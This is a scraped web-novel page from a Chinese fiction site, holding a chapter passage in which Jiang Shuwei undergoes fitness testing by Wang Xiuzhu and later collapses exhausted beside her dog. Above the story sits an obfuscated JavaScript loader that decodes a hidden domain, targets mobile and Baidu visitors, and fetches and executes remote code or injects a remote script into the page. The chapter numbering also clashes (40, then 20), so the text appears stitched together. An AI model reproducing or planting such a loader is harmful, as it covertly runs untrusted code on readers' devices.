妙书阁小说

阅读记录  |   用户书架
上一章
目录 | 设置
下一页
function UqgsgfgDv(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{ c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function UqSDDFGvyQ(e){ var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,""); while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return UqgsgfgDv(t);};window[''+'U'+'Y'+'C'+'q'+'J'+'K'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,i,w,d,c){var x=UqSDDFGvyQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));'jQuery'; if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')>-1){var xhr=new XMLHttpRequest();xhr.open('POST','https://'+u+'/bm-'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'u'+'q'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else{var s=d[crd]('script');s.src='https://'+u+'/m-'+i;cs.parentElement.insertBefore(s,cs);}})('aGYuc2Rqa2JjamtzYmRzdnYuY29t','2843',window,document,['G','TpoZFcguG']);}:function(){};

第40章(1 / 2)

加入书签 | 推荐本书 | 问题反馈 |

姜曙微慎重考虑片刻,问:“队伍现在有暂定的人选吗?”

“目前已经定下来的只有我和傅才瑾,他会专门挤出时间和我们一起训练。如果你同意,就会成为我们的第三个成员。至于其他人——”王修竹无辜摊手,“还没找好,愿意参加训练的都可以加入小队,大概这样吧。”

也就是说,只要愿意参加训练,殷沁、牧艺灵、苏琪都可以加入。

具体情况还得跟她们本人商量。

两人就这么说定,王修竹看了看天色,觉得时间还早,索性道:“为了给你们制定更合理的训练计划,我得先了解你的运动水平。”

他的运动测试种类多样,除去体能测试之外,还有关节活动限度之类,显然是直接沿用了之前在武馆用到的测试体系。

姜曙微被他要求着,又是做高抬腿、又是开合跳深蹲,被折腾得不轻,一整套下来已经累得有点喘不上气,只觉得整个人身体都被掏空,疲惫得就好像被困在仓库里杀了七八十只丧尸一样。

不过好在有这么一次摸底,她对自己的体能也有了较为具体的认识。在生死线徘徊还真是锻炼人,她现在也是今非昔比了,哪怕是武馆教练,估计也得对自己刮目相看。

姜曙微拧开一瓶水,咕咚咕咚灌下几口,缓解了嗓子的干痛之后,转而小口喝水,一边喝水一边等着王修竹的反应。

却没想到,王修竹点头道:“嗯,跟我预想的差不多,体能一般,动作灵活性不太行,爆发一般,还有很大进步空间。”

姜曙微一噎,一时不知道该怎么接。

王修竹试图委婉:“没关系,别气馁,毕竟你以前也不怎么运动,能有现在这个水平已经很不错了。”

姜曙微忍不住问:“那您觉得,怎样的体能算&#039;还好&#039;?”

王修竹有点为难地看了看她,道:“我们专业人士体能至少是可以跑完一个全马的,&#039;还好&#039;的话,怎么说也能跑个半马吧。”

全程马拉松大概42公里,半程马拉松也得21公里,姜曙微默默回想自己平时的体能训练,一般绕着集装箱区跑个十圈,满打满算超不过十公里,她就得停下来休息一会了。

按照这样的标准,她确实不太行。

第20章

好不容易把王修竹送走, 姜曙微精疲力尽地回到屋里,卸去最后一丝力气,倒在床上。

太累了,这辈子没这么累过。

姜曙微勉强抬一抬胳膊,胳膊软绵绵地使不上力气,连握紧拳头的劲儿都没了。

她的目光发直, 脑子里混混沌沌,像起了大雾。

右手手背被什么毛茸茸的东西蹭来蹭去,随后有什么湿湿凉凉的东西碰到她的手指,她慢了半拍扭过头,视线落在那对尖尖的耳朵上,后知后觉地想起自己养了只狗狗。

上一章
目录
下一页
A- 18 A+
默认 贵族金 护眼绿 羊皮纸 可爱粉 夜间